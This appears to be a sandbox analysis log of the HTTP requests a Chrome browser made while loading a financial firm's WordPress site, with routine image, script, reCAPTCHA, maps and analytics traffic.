Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/04/beach-houses.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/02/facebook-28.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/02/linkedin-28.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/images/linkedin-50.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/images/facebook-50.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/comment-reply.min.js?ver=4a124e090d7ee965f75f11dee143117d HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/akismet/_inc/akismet-frontend.js?ver=1711022616 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF&co=aHR0cHM6Ly93d3cuYmZqZmluYW5jaWFsLmNvbTo0NDM.&hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&size=normal&cb=r0v4am1gzsga HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/images/mission_back.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/images/latest_news.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-json/contact-form-7/v1/contact-forms/54/feedback/schema HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, /;q=0.1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4a124e090d7ee965f75f11dee143117d HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/03/BFJ_LOGO_WITH_TAG_WHITE_NEW.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/images/facebook-28.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/04/BFJ_Updated_Logo_3.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/05/banner.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/07/shutterstock_153861770.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/06/banner2.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/06/shutterstock_521063305.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/04/beach-houses.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/04/RMD-2023.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/07/shutterstock_559577665.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/02/facebook-28.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/images/linkedin-50.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/02/linkedin-28.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/images/facebook-50.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/images/latest_news.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x-child/images/mission_back.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=rz4DvU-cY2JYCwHSTck0_qm- HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF&co=aHR0cHM6Ly93d3cuYmZqZmluYW5jaWFsLmNvbTo0NDM.&hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&size=normal&cb=r0v4am1gzsgaAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/bg/4_tvJcNRhO0dCFNnXb1MYdI8S2d7uj-RMeEMLJbHBoY.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF&co=aHR0cHM6Ly93d3cuYmZqZmluYW5jaWFsLmNvbTo0NDM.&hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&size=normal&cb=r0v4am1gzsgaAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/gen_204?target=api&ev=api_mapft&cad=host:www.google.com,v:56,fv:3.56.8,r:100,client:google-maps-embed,Lg:1,hybrid:0,src:apiv3,token:7xefnn2dkf,ts:vp7cjc HTTP/1.1Host: maps.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-json/contact-form-7/v1/contact-forms/54/feedback/schema HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/gen_204?target=api&ev=api_mapft&cad=host:www.google.com,v:56,fv:3.56.8,r:100,client:google-maps-embed,Ct4g:1,hybrid:0,src:apiv3,token:7xefnn2dkf,ts:vp7fm7 HTTP/1.1Host: maps.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vht-conversation-bridge-runtime.css HTTP/1.1Host: 4eb97633b8b43872.cbridgert.vhtcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://brokercheck.finra.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vht-conversation-bridge-brand.css HTTP/1.1Host: 4eb97633b8b43872.cbridgert.vhtcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://brokercheck.finra.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-57309555-1&cid=662768576.1712867722&jid=1994135793&_u=aEDAAEABEAAAACAAI~&z=425751122 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://brokercheck.finra.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-57309555-1&cid=662768576.1712867722&jid=1994135793&gjid=492407739&_gid=196736908.1712867722&_u=aEDAAEABEAAAACAAI~&z=758748813 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-57309555-1&cid=662768576.1712867722&jid=1994135793&_u=aEDAAEABEAAAACAAI~&z=425751122 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/3ra71nd6rxi4u1cfuugikqq4r HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
